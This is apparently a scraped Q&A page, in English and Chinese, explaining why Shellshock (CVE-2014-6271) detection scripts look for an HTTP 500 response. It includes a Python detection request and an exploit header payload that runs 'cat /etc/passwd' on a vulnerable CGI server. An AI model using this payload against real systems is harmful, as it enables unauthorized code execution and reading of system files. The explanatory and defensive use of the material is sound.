Why do we always check for 500 response in shellshock exploitable request why not 200, 301 or others?
conn.request("GET", path, headers=headers)
res = conn.getresponse()
if res.status == 500:
print "Shell Shock Exploitable"
Why do we always check for 500 response in shellshock exploitable request why not 200, 301 or others?
conn.request("GET", path, headers=headers)
res = conn.getresponse()
if res.status == 500:
print "Shell Shock Exploitable"
它是检查服务器是否易受shellshock漏洞攻击的标准方法。
例如,假设我们有一个在Apache上运行的bash CGI脚本,可以通过 URL 访问,并且我们发出一个传递一些新的自定义标头的请求,如下所示:http://localhost/shellshock.cgi
import requests
url = 'http://localhost/shellshock.cgi'
# Checking if the server is vulnerable
headers = {
'shellshock': '() { :; }; echo vulnerable;'
}
response = requests.get(url, headers=headers)
if response.status_code == 500:
print('Panic! The server is vulnerable!')
else:
print('Phew, looks like the server has been patched')
标头本身只是一个看起来像函数定义的虚拟标头(以空语句作为主体),然后是普通echo
命令。
现在,根据https://nvd.nist.gov/vuln/detail/CVE-2014-6271:
GNU Bash 到 4.3 处理环境变量值中函数定义之后的尾随字符串,这允许远程攻击者通过精心设计的环境执行任意代码。
这意味着在上述情况下,易受攻击的服务器应该返回 500 Internal Server Error 。
这样做的原因是传递给服务器的请求标头存储为环境变量,在这种情况下echo
,函数之后的命令在导入函数时无意中执行 - 但在CGI 脚本开始打印其有效标头之前。
在 Apache 错误日志中,您会看到有关“格式错误的标头”或“错误标头”的信息——因为在这种情况下,echo
命令 ( vulnerable
) 的输出是第一个被打印的内容,因此被视为标头。
发生 500 错误的事实让我们知道出了点问题。但它不是完全证明,因为内部服务器错误可能由于任何其他原因而发生。但是,这种方法给出了一个很好的指示。
当然,以上只是证明服务器易受攻击的一种简单方式。一旦我们知道服务器易受攻击,我们可以尝试像这样利用它:
import requests
url = 'http://localhost/shellshock.cgi'
# Trying to exploit the vulnerability
headers = {
'shellshock': '() { :; }; echo Content-type: text/html; echo; cat /etc/passwd;'
}
response = requests.get(url, headers=headers)
在这里,我们只是在尝试执行任意恶意代码之前添加必要的Content-type
标头,后跟一个空行。这可以防止 500 内部服务器错误,从而使恶意代码的输出能够在 CGI 脚本终止时返回。
如果我们的漏洞利用成功,那么我们应该从服务器获得 200 OK响应,并查看/etc/passwd
文件的内容。因此,您也可以将此视为对 shellshock 漏洞的检查——它不仅仅依赖于检查 500 错误。
当然,在上述情况下,我们只是回显/etc/passwd
文件的内容,但我们可以很容易地利用 shellshock 对服务器和/或其用户造成重大损害。有一篇很好的Cloudflare文章探讨了各种可能性。
推荐阅读: